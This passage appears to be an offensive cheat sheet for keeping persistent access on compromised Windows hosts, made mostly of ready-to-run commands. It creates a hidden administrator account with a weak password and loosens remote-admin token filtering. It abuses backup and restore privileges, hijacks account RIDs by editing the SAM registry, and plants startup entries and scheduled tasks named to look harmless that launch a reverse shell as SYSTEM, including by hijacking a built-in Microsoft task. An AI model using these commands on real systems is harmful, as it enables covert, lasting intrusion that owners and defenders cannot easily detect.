net user administrator /active:yes net user administrator <password>
Assign Group Memberships
1 2 3 4 5
C:\> net user kage password123 /add C:\> net localgroup Administrators kage /add C:\> net localgroup "Backup Operators" kage /add C:\> net localgroup "Remote Management Users" kage /add C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Special Privileges and Security Descriptors
SeBackupPrivilege: The user can read any file in the system, ignoring any DACL in place.
SeRestorePrivilege: The user can write any file in the system, ignoring any DACL in place.
1 2 3
secedit /export /cfg config.inf secedit /import /cfg config.inf /db config.sdb secedit /configure /db config.sdb /cfg config.inf Set-PSSessionConfiguration-Name Microsoft.PowerShell -showSecurityDescriptorUI# Set perms to user with all access
RID Hijacking
msf: post/windows/manage/rid_hijack
1 2 3 4 5
C:\> wmic useraccount get name,sid C:\tools> PsExec64.exe -i-s regedit
# Convert user RID to hex value and find them at HKLM\SAM\SAM\Domains\Account\Users\ # Modify F value to F401 (RID 500 in little-endian) at position 0x30
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - user specific C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp - all users will run
MINUTE - Specifies the number of minutes before the task should run. HOURLY - Specifies the number of hours before the task should run. DAILY - Specifies the number of days before the task should run. WEEKLY Specifies the number of weeks before the task should run. MONTHLY - Specifies the number of months before the task should run. ONCE - Specifies that that task runs once at a specified date and time. ONSTART - Specifies that the task runs every time the system starts. You can specify a start date, or run the task the next time the system starts. ONLOGON - Specifies that the task runs whenever a user (any user) logs on. You can specify a date, or run the task the next time the user logs on. ONIDLE - Specifies that the task runs whenever the system is idle for a specified period of time. You can specify a date, or run the task the next time the system is idle. ONEVENT - Specifies that the task runs based on an event that matches information from the system event log including the EventID.
1 2 3 4 5 6 7 8 9 10 11
# Run every minute schtasks /create /sc minute /mo 1 /tn "NotEvil" /tr C:\revshell.exe schtasks /create /sc minute /mo 1 /tn "NotEvil" /tr C:\revshell.exe /ru "SYSTEM"# run as SYSTEM
# Create the scheduled tasks to run once at 00.00 schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe # Force run it now ! schtasks /run /tn "Device-Synchronize"
# Launch an executable by calling the ShellExec_RunDLL function. SCHTASKS /Change /tn "\Microsoft\Windows\PLA\Server Manager Performance Monitor" /TR "C:\windows\system32\rundll32.exe SHELL32.DLL,ShellExec_RunDLLA C:\windows\system32\msiexec.exe /Z c:\programdata\S-1-5-18.dat" /RL HIGHEST /RU "" /ENABLE
Alternatively, set value “AutoAdminLogon” to 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and fill out DefaultUserName and DefaultPassword.